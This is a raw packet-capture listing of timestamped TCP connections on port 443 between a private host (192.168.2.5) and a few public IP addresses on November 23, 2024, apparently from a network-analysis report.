Nov 23, 2024 15:38:46.207631111 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.547821045 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.548474073 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.548485041 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.549032927 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.549036980 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.997183084 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.997258902 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.997313976 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.997514963 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.997520924 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.997529984 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.997534037 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.000447989 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.000458002 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.000540018 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.000716925 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.000726938 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.175569057 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.176098108 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.176111937 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.176594019 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.176606894 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.513348103 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.513895988 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.513916016 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.514386892 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.514394999 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.615675926 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.616350889 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.616369009 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.616770983 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.616775990 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.620289087 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.623430967 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.623471975 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.623492956 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.623532057 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.623593092 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.623609066 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.623622894 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.623629093 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.626415968 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.626461029 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.626526117 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.626652002 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.626667976 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.969883919 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.972949982 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.973033905 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.973082066 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.973104954 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.973119974 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.973125935 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.975789070 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.975816965 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.975903034 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.976043940 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.976056099 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.999552011 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:47.999941111 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:47.999958038 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.000396967 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.000403881 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.072091103 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.075203896 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.075259924 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.075287104 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.075321913 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.075381994 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.075398922 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.075409889 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.075414896 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.078253984 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.078282118 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.078360081 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.078547001 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.078560114 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.482891083 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.482969046 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.483033895 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.483299017 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.483323097 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.483341932 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.483349085 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.486572981 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.486598015 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.486690044 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.486865044 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.486874104 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.779913902 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.780426025 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.780446053 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:48.780920029 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:48.780925989 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.226198912 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.226222038 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.226288080 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.226300001 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.227020979 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.227032900 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.227041960 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.227221966 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.227250099 CET	443	49968	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.227310896 CET	49968	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.230282068 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.230341911 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.230434895 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.230618954 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.230662107 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.409910917 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.410525084 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.410553932 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.411020041 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.411027908 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.756676912 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.757368088 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.757380009 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.758205891 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.758209944 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.864412069 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.864428043 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.864567995 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.864612103 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.865442038 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.865468025 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.865483046 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.865573883 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.865600109 CET	443	49969	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.867065907 CET	49969	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.869103909 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.869132996 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.869204044 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.869426966 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.869440079 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.939284086 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.939743996 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.939778090 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:49.940365076 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:49.940370083 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.199604034 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.203813076 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.203932047 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.204035997 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.263900042 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.263916016 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.263926029 CET	49970	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.263931036 CET	443	49970	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.331275940 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.336972952 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.337049007 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.337150097 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.340775967 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.340791941 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.344608068 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.344614029 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.348274946 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.348305941 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.386245966 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.389480114 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.393424034 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.413927078 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.413944960 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.413955927 CET	49971	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.413963079 CET	443	49971	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.416914940 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.416929007 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.416999102 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.420769930 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.420778036 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.787887096 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.790947914 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.790986061 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.791069031 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.791120052 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.791218042 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.791224957 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.791244030 CET	49972	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.791248083 CET	443	49972	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.794573069 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.794615030 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:50.794727087 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.795001984 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:50.795020103 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.078948975 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.079612970 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.079654932 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.080117941 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.080131054 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.614537954 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.618202925 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.618226051 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.618840933 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.618845940 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.698672056 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.698779106 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.698932886 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.699264050 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.699264050 CET	49973	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.699297905 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.699337959 CET	443	49973	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.703088045 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.703115940 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.703253984 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.703488111 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:51.703496933 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:51.869458914 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:51.869529009 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:51.869613886 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:52.049072027 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.052603006 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.052648067 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.052803040 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.052845001 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.052860022 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.052901030 CET	49974	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.052906990 CET	443	49974	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.056035042 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.056090117 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.056173086 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.056308985 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.056325912 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.073121071 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.073821068 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.073853970 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.074337006 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.074346066 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.212357044 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.212935925 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.212944031 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.213429928 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.213433981 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.514686108 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.517676115 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.521409988 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.521497965 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.521497965 CET	49975	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.521544933 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.521574974 CET	443	49975	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.525743008 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.525763988 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.525851011 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.527019978 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.527028084 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.642606974 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.643147945 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.643163919 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.643644094 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.643650055 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.664107084 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.667341948 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.667381048 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.667401075 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.667453051 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.667519093 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.667529106 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.667542934 CET	49976	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.667546988 CET	443	49976	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.671008110 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.671072960 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.671152115 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.671694994 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:52.671716928 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:52.975622892 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:52.975632906 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:53.095213890 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.098972082 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.099046946 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.103883028 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.103908062 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.103925943 CET	49977	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.103930950 CET	443	49977	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.107908010 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.107958078 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.108021975 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.108283043 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.108298063 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.490983963 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.491595030 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.491605043 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.492108107 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.492113113 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.899952888 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.900655985 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.900700092 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.901185989 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.901192904 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.934196949 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.937903881 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.937958002 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.937973022 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.937987089 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.938064098 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.938101053 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.938111067 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.938122034 CET	49978	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.938127995 CET	443	49978	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.941417933 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.941457987 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:53.941526890 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.941720009 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:53.941732883 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.355510950 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.356769085 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.356848955 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.356945038 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.356971979 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.356991053 CET	49979	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.356998920 CET	443	49979	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.360052109 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.360105038 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.360191107 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.360352039 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.360368967 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.380213976 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.380994081 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.381016016 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.382868052 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.382875919 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.452114105 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.452795029 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.452820063 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.453432083 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.453438044 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.847563028 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.850455046 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.850544930 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.850812912 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.850827932 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.850872040 CET	49980	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.850878000 CET	443	49980	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.853905916 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.853928089 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.854017973 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.854202986 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.854212999 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.890183926 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.890700102 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.890719891 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.891207933 CET	49982	443	192.168.2.5	13.107.246.63
